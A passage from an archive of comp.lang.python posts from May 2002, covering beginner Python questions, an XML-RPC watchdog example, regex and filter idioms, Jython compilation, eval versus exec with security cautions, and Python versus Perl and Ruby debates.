;-) Paul From hzhu at mars.localdomain Sun May 19 04:16:16 2002 From: hzhu at mars.localdomain (Huaiyu Zhu) Date: Sun, 19 May 2002 08:16:16 GMT Subject: OT: Crazy Programming References: Message-ID: Patrick wrote: > >To my mind, it is a perfectly logical conclusion that if the final recipient >has some limitations (eg. the assumption that all things "REAL" must be >entirely or partly perceptible), then the delivery systems indeed cannot >help. Care to outline that logic? Huaiyu From max at alcyone.com Thu May 16 03:14:13 2002 From: max at alcyone.com (Erik Max Francis) Date: Thu, 16 May 2002 00:14:13 -0700 Subject: Beginner question References: Message-ID: <3CE35C45.A1EFB761@alcyone.com> Mats Holmberg wrote: > ?? what to do? I need the trigonometric functions, but how do I get to > use > them? The way you get any objects inside modules. Reference them explicitly: import math print math.cos(10) or import it individually: from math import cos print cos(10) -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From grahamd at dscpl.com.au Tue May 14 20:00:51 2002 From: grahamd at dscpl.com.au (Graham Dumpleton) Date: 14 May 2002 17:00:51 -0700 Subject: How to create a web interface for a daemon written in Python? References: Message-ID: Markus wrote in message news:... > Hi all, > > we're using a Python script as a watchdog for another process. > The watchdog is running in console mode, so it is necessary to access the > terminal it is running on to operate the program. > > I'm thinking about a remote control feature via a web interface, running the > script in the background. The interface simply has to provide access to the > 3 basic functions of the watchdog script, i.e. "start", "stop" and "reset", > all of which don't need any parameters. > > Can anybody give me a hint about the best way to do this? (Or even better, a > hint to a working implementation of something similar ...) On the basis that all the watchdog component does is run periodically and do some check each time, you might try the following working example using OSE. Note that OSE isn't pure Python however and you might find that not to your liking. Anyway, the example in this instance uses XML-RPC over HTTP to stop and start the timer which is going off every five seconds. OSE also has a HTTP servlet framework so you could instead write a CGI like component so that normal browsers might control things, rather than requiring a special XML-RPC client. Example client code using the OSE XML-RPC client would be: import netrpc.xmlrpc service = netrpc.xmlrpc.RemoteService("http://localhost:8080/MONITOR") service.stop() service.start() The actual code for the server side follows. OSE itself is available at "http://ose.sourceforge.net". There is an extensive manual (100+ pages) on the Python wrappers. import netsvc import netsvc.xmlrpc import signal class Monitor(netsvc.Service): DELAY = 5 def __init__(self,name="MONITOR"): netsvc.Service.__init__(self,name) self.joinGroup("web-services") self.exportMethod(self.stop) self.exportMethod(self.start) self.startTimer(self.wakeup,Monitor.DELAY,"watchdog") def wakeup(self,tag): print "wakeup" # do the actual work required here self.startTimer(self.wakeup,Monitor.DELAY,"watchdog") def stop(self): print "stop" self.cancelTimer("watchdog") def start(self): print "start" # old timer will automatically be cancelled self.startTimer(self.wakeup,Monitor.DELAY,"watchdog") dispatcher = netsvc.Dispatcher() dispatcher.monitor(signal.SIGINT) dispatcher.monitor(signal.SIGHUP) service = Monitor() httpd = netsvc.HttpDaemon(8080) rpcgw = netsvc.xmlrpc.RpcGateway("web-services") httpd.attach("/",rpcgw) httpd.start() dispatcher.run() From grahamdo at attcanada.ca Sat May 25 00:44:58 2002 From: grahamdo at attcanada.ca (Graham Dobson) Date: Sat, 25 May 2002 00:44:58 -0400 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> Message-ID: <7BEH8.1252$H67.7649@tor-nn1.netcom.ca> I really like Tim Church's citation, but I found this in a programming language list started in March of 1991 at the University of Kansas by Tom Rombouts: Python - 1. Guido van Rossum 1991. A high-level interpreted language combining ideas from ABC, C, Modula-3, Icon, etc. Intended for prototyping or as an extension language for C applications. Modules, classes, user-defined exceptions. "Linking a Stub Generator (AIL) to a Prototyping Language (Python)", Guido van Rossum et al, Proc 1991 EurOpen Spring Conf. Available for Unix, Amoeba and Mac. Version 1.0.0. ftp://ftp.cwi.nl/pub/python/python1.0.0.tar.Z list: python-list at cwi.nl "Christopher Browne" wrote in message news:acn2uu$qrhei$1 at ID-125932.news.dfncis.de... > The world rejoiced as Ross Lazarus wrote: > > How should the Python language be cited in an academic publication? > > > > For example, in > > http://bioinformatics.oupjournals.org/cgi/reprint/17/8/756.pdf the > > author mentions http://www.python.org in the text rather than formally > > citing the primary source - or is that the appropriate primary source > > and recommended attribution? > > > > I found "Copyright 1991-1995 by Stichting Mathematisch Centrum, > > Amsterdam, The Netherlands" at > > http://www.python.org/doc/Copyright.html, but that doesn't seem as > > complete or helpful as I'd like for a refereed journal. > > Unlike languages like Ada and FORTRAN and Common Lisp, the creation of > Python didn't start with the creation of a "de jure" standard, > documented in academic or government papers; it came as an > implementation. > > I'm not sure that there's any fundamentally better "primary source" to > look to than . > > There might be some early paper by Guido van Rossum on Python that > would be of some value; that would be more likely to be a "secondary" > source, though. > -- > (reverse (concatenate 'string "ac.notelrac.teneerf@" "454aa")) > http://www.cbbrowne.com/info/sgml.html > "...as a robotics designer once told me, you don't really appreciate > how smart a moron is until you try to design a robot..." > -- Jerry Pournelle From jadestar at idiom.com Sun May 19 07:15:53 2002 From: jadestar at idiom.com (James T. Dennis) Date: 19 May 2002 11:15:53 GMT Subject: regular expression References: Message-ID: Sean 'Shaleh' Perry wrote: > On 18-May-2002 Batara Kesuma wrote: >> Hi Sean, >> On Sat, 18 May 2002 10:46:19 -0700 (PDT) >> "Sean 'Shaleh' Perry" wrote: >>> you are very close to what you need. >>> rule = re.compile(r'^\d{6}$') # ^ means start of string, then \d{6} is 6 >>> numbers >>> # then $ is end of string. >> Thank you very much. But what does the 'r' in (r'^\d{6}$') means? > r'' is a 'raw' string, the contents of it generally do not need to be > escaped. > If you did not use the r'' syntax the above call would have been: > rule = re.compile('^\\d{6}6') # note the escaped backslash. > If you have a more complex regex all of the escaping makes it hard to read. > rule = re.compile('^\\d{6}\\s+\\d{3}') Getting back to the original question: it may be possible to do this efficiently without a regex. You could start with: s=filter(lambda x: len(x) == 3, l) ... to prefilter the list, leaving only six char items and s=filter(lambda x: x.isdigit(), s) ... seems to work for strings that are composed entirely of digits. So you can combine these to use: s=filter(lambda x: len(x) == 6 and x.isdigit(), l) ... for the whole job. I don't know if this is faster than using regular expressions, but I'd guess that it might be. Personally I like to avoid regexes unless they are clearly the right answer. A regex like r'^\d{6}$' seems simple enough --- but complex regular expressions can be phenomenally difficult to debug; It's very easy to create regexps that work for all of your test cases, but fail on some form of unanticipated form of input. BTW: if you aren't sure that your list is composed exclusively of strings you can use a more defensive and complex lambda expression as follows: s=filter(lambda x: hasattr(x,'__len__') and len(x) == 6 and hasattr(x,'isdigit') and x.isdigit(), l ) ... this should even work if some or all of the objects in l are not strings --- so long as they have meaningful "length" and "isdigit" properties. I guess that exhibits the Pythonic value of being flexible about dynamic typing while avoiding the use of explicit type and subclass tests. (Introspecting on subclass and type information breaks on objects that are wrapped by Decorators, Proxy, Adapter or other patterns of object usage). To gild this lily all the way to the roots I suppose we could also extend the lambda expression to handle six digit numerics (it depends on whether you later use them as integers, and whether you're willing to coerce some elements from your original list into the desired form from a few "equivalent" forms). (It also depends on if you'd consider '000000' to be a valid value for your application; if so you need to use strings). Here's one that works: s=filter(lambda x: hasattr(x,'__len__') and len(x) == 6 and hasattr(x, 'isdigit') and x.isdigit() or hasattr(x, '__int__') and int(x) == x and x > 99999 and x < 1000000 , mylist) ... though I'll admit that this lambda expression is getting to be absurd. Once we have the resulting list we can then coerce them all to the correct type using map() as follows: map(int,s) or map(str,s) which should be pretty safe for any sequence of objects that made it though our filter. (Any wrappers, decorators, proxies, etc better provide support for these methods, obviously). From ruediger.maehl_nospam at web.de Thu May 30 10:27:24 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Thu, 30 May 2002 16:27:24 +0200 Subject: Where can I find .join() in the docs References: Message-ID: "Emile van Sebille" wrote > > The dot in dot join indicates that join resides in the thing being > dot'ted, in this case likely string. Look at > Python22\Doc\lib\module-string.html and > Python22\Doc\lib\string-methods.html That's explaining string.join() and also some methods that might also be available for "".xxx() usage but leaves at least me guessing about their usage. > -- > > Emile van Sebille > emile at fenx.com Thanks, R?diger From roy at panix.com Mon May 6 07:13:12 2002 From: roy at panix.com (Roy Smith) Date: Mon, 06 May 2002 07:13:12 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: Chris wrote: > I would have agreed a few months ago. However, once you understand how > to write modules in Perl, and how Perl's take on OO works, it becomes > much easier to create large projects. I hated Perl when I first learned it, but felt a little guilty because what I really hated was the "it's one huge script with globals everywhere" style used by the programs I worked on while learning the language. I had this nagging suspicion that OO Perl would be much better. So, a while ago, I started on a major Perl project of my own. Decided to do it right, with modules to do various tasks, OOP, etc. You know what? I still hate it. The language is certainly a lot better when you use good program design techniques, but it's still pretty ugly. One thing that kept getting me messed up was forgetting whether I was passing an object or a reference to an object. I had plenty of each. It's just like C pointers all over again. In Python, an object is an object. In Python, if I ever get lost in a sea of confusing data structures, it's easy to just into an interactive session, run my program up to a certain point, then mess around with type() and dir() and see what I've got. Being able to define __str__() methods for all my classes means it's easy to just stick in a print statement and not worry about the details. From neuhauser at mail.cz Thu May 2 05:29:05 2002 From: neuhauser at mail.cz (Roman Neuhauser) Date: Thu, 2 May 2002 11:29:05 +0200 Subject: Python Webpages In-Reply-To: <3CCED1CB.3050505@gmx.net> References: <23891c90.0204300033.16549c52@posting.google.com> <3CCEAE2B.8000300@gmx.net> <3CCED1CB.3050505@gmx.net> Message-ID: <20020502092905.GZ325@roman.mobil.cz> > From: Tom Chance > Subject: Re: Python Webpages > To: python-list at python.org > Date: Tue, 30 Apr 2002 17:18:03 +0000 > > > > > I always thought Perl's system was > > > > print "Content-Type: text/html\n\n"; > > print "Hello world!\n"; > > That is Perl's built in system, simply printing HTML to STDOUT. But > every Perl web developer with half a brain uses the CGI module to vastly > extend Perl's capabilities, and perhaps also CGI::Application and > HTML::Template as well. just like any PHP developer with half a brain uses one of the templating classes. -- FreeBSD 4.4-STABLE 11:27AM up 3 days, 1:53, 14 users, load averages: 0.06, 0.05, 0.03 From kragen at pobox.com Tue May 21 10:19:37 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 21 May 2002 10:19:37 -0400 Subject: Zaurus and Python, a good combination References: Message-ID: <83ptzpk2h2.fsf@panacea.canonical.org> "David LeBlanc" writes: > News to me that Intel crushed Digital with their patents... and BTW, ARM is > an english production (http://www.arm.com/) that Digital was a 2nd source > for. Did Digital make some important enhancements to the ARM architecture? I > vaguely recall some fab improvements they where given credit for... ARM licenses their designs far and wide; the last time I looked, several dozen licensees were listed on their web site. Digital was more like a 30th source than a second one. But most of the licensees incorporate the ARM core into low-speed, very-low-power microcontrollers; the Digital StrongARM was almost alone in trying to compete on speed with desktop CPUs. And that is why the StrongARM is still the chip of choice for things like the Zaurus, although it is certainly not without competition from (among others) low-power MIPS designs and the SH family. > IMO Digital fell due to bad management (more like stupid, incompetent), > brain-dead marketing, greed and de-emphasis of and inabilty to apply R&D to > the marketplace. These may all be true. I was talking about something more specific: after an exchange of patent lawsuits lasting a year or two, Intel and Digital settled. Part of the settlement was that Digital's fabs and StrongARM line went to Intel. From whisper at oz.net Mon May 13 06:52:12 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 13 May 2002 03:52:12 -0700 Subject: which db should I use? In-Reply-To: Message-ID: SAP, the big German DB company has a full featured open source free version available. If you fill out a form, they'll even send you a CD with the sources at no charge at all, not even postage. This is good, since the sources for all the parts, including the DB, api and admin tools are a hefty 60+ megs. http://www.sapdb.org/ "SAP DB is an open, SQL-based, relational database system that provides high availability and performance scaling from small to very large implementations. In addition, SAP DB goes beyond relational database technology by offering object orientation as well as support for managing unstructured data. It supports open standards including SQL, JDBC and ODBC; access from Perl and Python; and HTTP-based services with HTML or XML content. SAP DB is platform independent, so users can deploy it for a wide array of projects." It's even usable for commercial purposes: "Will applications using SAP DB have to be Open Source as well? No. Applications are using SAP DB as a service similar to the way they are using the operating system. The programming interfaces are released under the GNU LGPL (Library or Lesser General Public License). Software linked with the programming interfaces is not required to be released as Open Source." David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Jim Richardson > Sent: Sunday, May 12, 2002 20:12 > To: python-list at python.org > Subject: which db should I use? > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > I have a project that I want to do with python. It involves a database > table with some 100,000 rows, total size about 400MB and climbing. I > will be adding about 700 rows a day, and occasionally want to do a > query, but only occasionally. (I am putting all the posts from an active > newsgroup in to a db for data gathering, and to learn python and sql > stuff) But I don't know which db module would work better for me?I am > running this on a linux box, and cross platform is not a big deal, I am > looking at both postgres and mysql. Since I have 0 experience with > either one especially in context of interfacing with python. I'd like > suggestions please. > > thanks all > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE83y71d90bcYOAWPYRAiFGAJ0eV35OKRXqcHMXx3Aw6YiuXptn+ACdEGG0 > Q4IkJaUeD3j9zxpFuuTPw0A= > =YBHr > -----END PGP SIGNATURE----- > > -- > Jim Richardson > Anarchist, pagan and proud of it > http://www.eskimo.com/~warlock > Linux, from watches to supercomputers, for grandmas and geeks. > -- > http://mail.python.org/mailman/listinfo/python-list From opengeometry at yahoo.ca Thu May 23 14:35:10 2002 From: opengeometry at yahoo.ca (William Park) Date: Thu, 23 May 2002 14:35:10 -0400 Subject: Python in a 386 computer In-Reply-To: ; from rodrigo@mosaic.com.br on Thu, May 23, 2002 at 10:53:11AM -0700 References: Message-ID: <20020523143510.A22630@node1.opengeometry.ca> On Thu, May 23, 2002 at 10:53:11AM -0700, rvertulo wrote: > Hi people, > > Is it possible to run python in a 386 computer? Yes. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From stefan.kuypers at inno.com Mon May 6 06:23:47 2002 From: stefan.kuypers at inno.com (Stefan Kuypers) Date: Mon, 6 May 2002 12:23:47 +0200 (CEST) Subject: Entry point not found Message-ID: <49305.194.7.32.225.1020680627.squirrel@webmail.inno.com> Hi there, I'm using Python to run servlets in an Apache webserver and I've encountered the following problem: when I load one of the Python scripts, which uses some C++ dll's, I get an 'Entry point not found' error. This dll worked before so Iwonder what might have gone wrong. I'm using the following versions of software: Apache 1.3.24 Mod Python 2.7.7 Pyhton 2.2.1 Visual Studio 6 (to compile the dll) Anyone who knows where I should look? Thanks in advance, Stef From rob Tue May 21 10:20:13 2002 From: rob (Rob Andrews) Date: Tue, 21 May 2002 14:20:13 GMT Subject: Jython Swing Basics article References: <0O7zTzsxerl5-pn2-bxFgitwzkY47@localhost> Message-ID: > I think your demonstration shows one of the key features of Jython - > the ablilty to run Swing (as well as JDOM or any other Java library) > line by line, making it a powerful debugging tool both for both Java > and Python. > Thanks. I think the ability to use an interactive interpreter is one awesome feature. In addition to its use in debugging, I think it makes for a great learning tool. And I couldn't even guess how many times I've used it for quick system administration and other on-the-spot scripting tasks that don't need to be saved for later use. Rob From jason at jvoegele.com Mon May 6 14:27:46 2002 From: jason at jvoegele.com (Jason Voegele) Date: 6 May 2002 11:27:46 -0700 Subject: Python vs. Perl, which is better to learn? References: <91acf731.0205030642.580a9c59@posting.google.com> Message-ID: <91acf731.0205061027.651bb8f6@posting.google.com> holger krekel wrote in message news:... > Alex Martelli wrote: > > (... lots of interesting stuff ...) > > One day I'd really love to co-author a *balanced* comparison > > of Python's and Ruby's pluses and minuses -- "co-author" 'cause > > I'd need to find a partner in crime who admires Python but > > still prefers Ruby, just as I admire Ruby but still prefer > > Python -- and one "into" Ruby's triviae and minutiae as well > > as overall philosophy as much as I'm "into" Python's. Oh well, one day... > > i really hope that this 'one day' will come. Last time i checked > i couldn't find much of any comparison. Just one or two meaningless > paragraphs in ruby's documentation, IIRC. You can find a brief but fairly balanced comparison at: http://www.rubycentral.com/faq/rubyfaq-2.html It doesn't go into the amount of detail that you'd like, but it's certainly better than that infamous and regrettable Bruce Eckel piece. :-) -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Shadow of the Torturer From tdelaney at avaya.com Mon May 27 20:15:29 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Tue, 28 May 2002 10:15:29 +1000 Subject: eval vs. exec Message-ID: > From: Simon Budig [mailto:Simon.Budig at unix-ag.org] > > The specific problem of math expressions is not the main problem here. > I am just astonished about the uglyness of eval/exec'ing code. > Why is it not as simple as: > > >>> print repr (eval ("3*4")) > 12 > >>> print repr (eval ("a=2")) > None > > Why is there this distinction between 'single' and 'eval'? Assignment (binding) is not an expression in Python. This is a Good Thing(TM). > The interactive console is able to handle "3*4" as well as > "a=2" without > having to specify the type of input, why not eval? The interactive console is actually playing tricks. When it sees a plain expression, it prints the result. This does not happen when you run a script. > in python itself again. It is not a permanent service, it is not used > for mission critical stuff, and the people that are able to put stuff > from the external python into this environment without having > references > to it probably won't bother. Maybe this is too optimistic, but It is > good enough for me. Currently the eval/exec thing is more interesting You are too optimistic. Never assume anything is not a permanent service - everything will last longer than you intended, because people are afraid to change things that currently work. In many cases, this fear is justified. Any time you are using code from an untrusted source you need to be incredibly careful. This includes third-party modules (I assume you trust the implementors of Python and its standard libraries ...). A trusted associate today may turn out to be a bitter ex-employee with a nasty backdoor into your systems in the future. If this is running on an isolated system, where you don't care if someone (accidentally or otherwise) messes it up, then OK. Of course, it will need to be a *real* isolated system - otherwise someone could write some networking code, exec it, and compromise your network. Oops. Tim Delaney From fgeiger at datec.at Fri May 10 12:55:32 2002 From: fgeiger at datec.at (F. GEIGER) Date: Fri, 10 May 2002 18:55:32 +0200 Subject: Which GUI Library to Use References: Message-ID: I use wxPython, because it's rather feature rich and easy to use. I tried PyQT too. I found its slot mechanism very appealing. As debugging of PyQt-Apps wasn't directly supported by a former version of WingIDE (don't know if 1.1.3 again supports it) I switched back to wxPython. BTW anygui supports this slot mechanism too. anygui is very promising in any regard as the backend becomes a minor issue there. As soon as anygui is in a less early stage I'll stick with anygui. Cheers Franz "A. Keyton Weissinger" schrieb im Newsbeitrag news:mailman.1020999258.4125.python-list at python.org... > Hi Folks, > > I am beginning work on what will likely turn into a fairly large GUI-based > application and would like your thoughts on which library to use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) > C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) > D) wxPython > > I want to get the best combination of easiest to install most feature rich > and do not have enough experience with the non-Tk libraries. > > Thank you!!!! > > Keyton > > > From ykingma at accessforall.nl Thu May 23 16:31:34 2002 From: ykingma at accessforall.nl (Ype Kingma) Date: Thu, 23 May 2002 21:31:34 +0100 Subject: Jython .py to .class confusion References: <3CEC6443.90510AE9@hotmail.com> Message-ID: <3CED51A2.43EA1A88@accessforall.nl> Scott, scott wrote: > > I'm trying to use "jythonc" in Jython 2.1 to create a .class file from a > .py file. I've read Chapter 9 of Bruce Eckels draft of "Thinking in > Patterns" (http://64.78.49.204/) which has a section on this very task, > but I am unable to grok it. > > It looks like I need: > 1. an "@sig" string as the first line of my method to deal with strong / > weak typing issues (?something like "@sig public javax.swing.??? > getPicks()" ?) > 2. Information about Java package creation from the python code. > Apparently this involves the --package flag of jythonc. > > I'm stuck here. Perhaps if I give a concrete example, someone will show > the modifications / steps required to create a .class file from this .py > file. > > Assume this file (loto3.py) is the only file on a floppy disk in a > Windows 2000 system running Jython 2.1 on Java 1.4.0: > > --------------------------------------------------- > import random > import javax.swing as swing > > def getPicks(): > li = [] > i = 0 > numPicks = int(swing.JOptionPane.showInputDialog("How many picks?: > ")) > theRange = int((swing.JOptionPane.showInputDialog("What range?: "))) > + 1 > while i < numPicks: > elem = random.randrange(1, theRange) > if elem not in li: > li.append(elem) > i = i+1 > conv = str(li) > return swing.JOptionPane.showMessageDialog(None, "Your #'s are: " + > conv) > > getPicks() > -------------------------------------------------- jythonc expects class loto3(someJavaClass): .... in the file loto3.py, ie. import java class loto3(java.lang.Object): def getPicks(self): "@sig public java.lang.String getPicks()" # java signature .... And then in another .py file: import loto3 # or from itsPackage import loto3 yourLoto = loto3.loto3() # iirc. print yourLoto.getPicks() It's in the manual at www.jython.org, but the manual is just a bit terse... Have fun, Ype -- email at xs4all.nl From gh_pythonlist at gmx.de Thu May 2 12:18:08 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Thu, 2 May 2002 18:18:08 +0200 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: <20020502161807.GA9654@lilith.my-fqdn.de> * Steve Holden [2002-05-02 11:42 -0400]: > [...] > Not all languages extend easily. Even Visual Basic, as sundry a hodge-podge > of accumulated features and syntax as could be desired, has had to be > mangled heavily to bring it into the .NET world. Most of the changes are > justifiable rationalisations. > > The really interesting thing is the lack of noise from the VB community > about that, while the poor Python development team have to suffer howls of > anguish just to get True and False into the language ;-) That's because Visual Basic 6 isn't really a language. I view it as the de-fact standard test container for COM components, and as an IDE for assembling COM components that you buy from third parties. Using it as a language to write more than the most simple glue code can hurt your brain, seriously. Only some examples: - ridiculous error checking (On Error Goto); no exceptions - no usable data structures in the standard libraries (even the Dictionary object is too limited; try to use a custom Class as a key, for example) - no multithreading I'm someone who got burned trying to actually write code in this "language", while working at a mostly MS/Oracle shop. I hope I'll never have to touch VB <= 6 again. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 15.5 ?C Wind: 4.3 m/s From jb at cascade-sys.com Sat May 4 19:56:21 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sat, 04 May 2002 16:56:21 -0700 Subject: Zombie Threads (?) References: <3cd46c87$0$8508$cc9e4d1f@news.dial.pipex.com> Message-ID: <3CD47525.31B05B1C@cascade-sys.com> Simon Foster wrote: > PS doesn't show threads, only processes. Not true. On my Linux system I was rather surprised to discover a seperate proc entry for each thread. Upon further reflection, it make perfect sense, as threads need to distinguish many of the same kernel resources as procs (registers, stack, pri, nice, wchan, stat, etc.). Only difference is threads all share a few key resources (address space, file handles, etc.) with others. On Linux, threads even have distinct PIDs, which may be a partial answer to the earlier post about killing threads (though pitfalls likely remain). This all is true threads, not the simulated ones Python implements on systems that don't provide them in the OS. Linux creates threads with the clone(2) system call, very similar to fork(2) except with additional args. > You've got zombie processes not > threads. > All threads run in the same process, that's why they're threads not > processes, or am > I missing something? No. You are right about this part. Turns out I mistakenly confused some true zombie procs for zombie threads. Then too, according to the Linux doc, threads return an integer result when they exit and I don't know how this gets passed back to the parent. I'm guessing it's via wait(2), same as for a process, though the man page on wait doesn't say that. But if that's the mechanism then there may still be such thing as a zombie thread, though it wasn't part of my original problem. Thanks for taking the time to reply. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From hughett at mercur.uphs.upenn.edu Tue May 7 10:14:26 2002 From: hughett at mercur.uphs.upenn.edu (Paul Hughett) Date: 7 May 2002 14:14:26 GMT Subject: making python scripts backwards compatible References: Message-ID: Steve Holden wrote: : Ans this in turn begs the question, does the author even *know* what : versions her software works on? I would *hope* that anyone publishing software on the web would know which version they are developing on. Then a simple statement "This software was developed and tested only on Python 2.1.3." would give the prospective user some clue about the level of difficulty he faces. : Not everyone who uses Python is in touch : wiht the hjistory of its syntax and feature set. If I start using Python : tomorrow, do I have to learn what features 1.5.2 includes so I can provide : backward compatibility? Nope, you are free to choose the level of compatibility that you're willing to provide. But some indication of the level you choose would be very helpful. Paul Hughett From aahz at pythoncraft.com Sun May 5 15:34:52 2002 From: aahz at pythoncraft.com (Aahz) Date: 5 May 2002 15:34:52 -0400 Subject: OT: mail-news gateway question References: Message-ID: [I'm not familiar with the Mailman package, but I'm moderately knowledgable about mail and news, so I'm answering this generically.] In article , Grant Edwards wrote: > >How does the python news/mail gateway work? Somebody recently told me >that such gateways work by making the group moderated and having the >"moderator" e-mail address set to the mailing list. Is this true? Nope. News->Mail consists of an NNTP client that collects posts from comp.lang.python and forwards them (probably via SMTP) to python-list. Conversely, Mail->News consists of an e-mail client (probably POP3, but might be IMAP) that polls a mailbox and then injects news either directly to the news server (such as INN) or by using an NNTP client. Moderation *may* be involved, and e-mail is always involved when there's moderation (modulo spam and some other special cases), but a gateway is in-and-of-itself no indicator of moderation. >Looking at the headers in c.l.p, I don't see any "approved:" headers, >and the NNTP-posting host seems to vary from posting to posting. Note that c.l.py is a bidirectional gateway; many people post directly to the newsgroup. People who post to python-list should all have the same NNTP-Posting-Host. You can tell gatewayed e-mail by looking for the X-Mailman-Version header (or any of several other obvious headers). -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From jjl at pobox.com Thu May 2 16:48:59 2002 From: jjl at pobox.com (John J. Lee) Date: Thu, 2 May 2002 21:48:59 +0100 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> Message-ID: On Wed, 1 May 2002, Alex Martelli wrote: [...] > It may or may not be worth superficially learning both Perl and Python > before going in depth into either (if it is, then I think Ruby should also > be in the mix). But "variable markers" are still quite a deep difference. What differences did you have in mind, between Python and Ruby, that are really significant? I've always lazily assumed there are none (based on a few minutes scanning of a web page or two). John From peter at engcorp.com Fri May 17 19:07:54 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 19:07:54 -0400 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> <2_7F8.143579$o66.425118@news-server.bigpond.net.au> Message-ID: <3CE58D4A.AA521EA1@engcorp.com> Byron Hammond wrote: > > > Another one is which are "standard" coding [styles] in Python ? > > I'm sure that including type information in the name of a variable could > be a good idea if it was important to know the type. eg: > nItemsSoFar = number of items so far (integer) > sID = identification (string) > cCar_Fast = instance of the car class. This is a fast one Nooooo!! Not Hungarian notation! :-) (Code with the above style is generally less readable than code without. This is probably a religious matter, but I believe few coding standards would recommend the above naming conventions.) -Peter From mwh at python.net Thu May 16 05:07:06 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 16 May 2002 09:07:06 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: spam at bugbear.com (Paul Graham) writes: > > You can't directly translate that. Access to variable of enclosing > > scopes is read only (except in the case of global statements, but that > > doesn't help here). > > It looks as if the closest thing would be something like this, > which a Python expert sent me: Well yeah, that's what I meant by "can't directly translate"... > def foo(n): > s = [n] > def bar(i): > s[0] += i > return s[0] > return bar > > Although you can't modify variables from outer scopes, you can > modify *parts* of them (which to me seems like the same thing...) Really? I think there's quite a difference. > The reason this problem seems kind of artificial is that I don't > need to solve this actual problem. I heard that recent Python > versions had added more support for lexical closures, and was > curious how well Python works for the type of programming in > Structure and Interpretation of Computer Programs; Ah, the real question! The answer: not well. > this is kind of a hello_world of that genre Well, I just swiped this from the online version of SICP: (define (make-withdraw balance) (lambda (amount) (if (>= balance amount) (begin (set! balance (- balance amount)) balance) "Insufficient funds"))) (define W1 (make-withdraw 100)) (define W2 (make-withdraw 100)) (W1 50) 50 (W2 70) 30 (W2 40) "Insufficient funds" (W1 40) 10 I don't suppose you need telling that in Python you do this like so: class Balance: def __init__(self, balance): self.balance = balance def withdraw(self, amount): if amount <= self.balance: self.balance -= amount return self.balance else: return "Insufficient funds" >>> W1 = Balance(100) >>> W2 = Balance(100) >>> W1.withdraw(50) 50 >>> W2.withdraw(70) 30 >>> W2.withdraw(40) 'Insufficient funds' >>> W1.withdraw(40) 10 ? (Ignoring the fact that Python has exceptions...) > (It's not a homework problem, I swear.) I didn't think someone called Paul Graham who signs himself pg was still doing homework... > Incidentally, here is Perl 5 code someone sent me for this case: > > sub foo { > my ($n) = @_; > return sub {return $n += $_[0]}} Yuck . Cheers, M. -- This makes it possible to pass complex object hierarchies to a C coder who thinks computer science has made no worthwhile advancements since the invention of the pointer. -- Gordon McMillan, 30 Jul 1998 From simon at uggs.demon.co.uk Sat May 4 20:30:02 2002 From: simon at uggs.demon.co.uk (Simon Foster) Date: Sun, 05 May 2002 00:30:02 GMT Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> Message-ID: <3cd47cf6.1099332776@news.dsl.pipex.com> On Sun, 05 May 2002 00:16:27 GMT, David Lees wrote: >I saw an adv from O'Reilly this week that said July. > >David Lees > >Simon Foster wrote: >> >> Does anyone reading here (Alex?) have any info on the Python Cookbook, >> the O'Reilly book rather than the ASPN site? It is listed on Amazon as >> being >> available April 2002 but seems to have disappeared from the O'Reilly site. You wouldn't have a link or anything handy? -- Simon Foster Somewhere in the West of England From phd at phd.pp.ru Sat May 11 12:06:45 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 11 May 2002 20:06:45 +0400 Subject: Multibyte Character Surport for Python In-Reply-To: <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com>; from lac@strakt.com on Sat, May 11, 2002 at 05:49:00PM +0200 References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> Message-ID: <20020511200645.B29016@phd.pp.ru> On Sat, May 11, 2002 at 05:49:00PM +0200, 